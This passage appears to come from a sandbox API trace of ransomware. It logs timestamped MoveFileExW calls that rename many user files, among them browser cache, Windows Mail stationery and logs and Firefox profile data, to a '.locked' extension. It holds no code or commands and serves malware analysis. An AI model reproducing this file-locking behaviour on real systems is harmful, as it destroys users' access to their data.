HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg.locked"), dwFlags=0x2) returned 1 [0152.034] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg.locked"), dwFlags=0x2) returned 1 [0152.040] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg.locked"), dwFlags=0x2) returned 1 [0152.045] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg.locked"), dwFlags=0x2) returned 1 [0152.050] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg.locked"), dwFlags=0x2) returned 1 [0152.054] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png.locked"), dwFlags=0x2) returned 1 [0152.057] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png.locked"), dwFlags=0x2) returned 1 [0152.060] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png.locked"), dwFlags=0x2) returned 1 [0152.063] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png.locked"), dwFlags=0x2) returned 1 [0152.066] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png.locked"), dwFlags=0x2) returned 1 [0152.250] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg.locked"), dwFlags=0x2) returned 1 [0152.289] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chartbeat[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chartbeat[1].js.locked"), dwFlags=0x2) returned 1 [0152.551] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome-installer.min[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome-installer.min[1].js.locked"), dwFlags=0x2) returned 1 [0152.561] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png.locked"), dwFlags=0x2) returned 1 [0152.567] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png.locked"), dwFlags=0x2) returned 1 [0152.745] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt.locked"), dwFlags=0x2) returned 1 [0153.201] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ebhtml5banner[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ebhtml5banner[1].js.locked"), dwFlags=0x2) returned 1 [0153.232] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg.locked"), dwFlags=0x2) returned 1 [0153.369] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\jquery-1.11.1.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\jquery-1.11.1.min[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\jquery-1.11.1.min[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\jquery-1.11.1.min[1].js.locked"), dwFlags=0x2) returned 1 [0153.385] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\rpc_shindig_random[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\rpc_shindig_random[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\rpc_shindig_random[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\rpc_shindig_random[1].js.locked"), dwFlags=0x2) returned 1 [0153.543] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\wc-addons[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\wc-addons[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\wc-addons[1].css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\wc-addons[1].css.locked"), dwFlags=0x2) returned 1 [0153.564] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log.locked"), dwFlags=0x2) returned 1 [0154.191] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log.locked"), dwFlags=0x2) returned 1 [0154.212] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat.locked"), dwFlags=0x2) returned 1 [0154.822] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log.locked"), dwFlags=0x2) returned 1 [0155.499] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log.locked"), dwFlags=0x2) returned 1 [0155.502] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml.locked"), dwFlags=0x2) returned 1 [0155.509] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.locked"), dwFlags=0x2) returned 1 [0155.536] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.locked"), dwFlags=0x2) returned 1 [0155.545] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.locked"), dwFlags=0x2) returned 1 [0155.551] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.locked"), dwFlags=0x2) returned 1 [0155.561] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.locked"), dwFlags=0x2) returned 1 [0155.568] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.locked"), dwFlags=0x2) returned 1 [0155.576] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.locked"), dwFlags=0x2) returned 1 [0155.584] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.locked"), dwFlags=0x2) returned 1 [0155.597] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.locked"), dwFlags=0x2) returned 1 [0155.607] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.locked"), dwFlags=0x2) returned 1 [0155.612] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat.locked"), dwFlags=0x2) returned 1 [0156.100] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite.locked"), dwFlags=0x2) returned 1 [0156.129] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.locked"), dwFlags=0x2) returned 1 [0156.149] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js 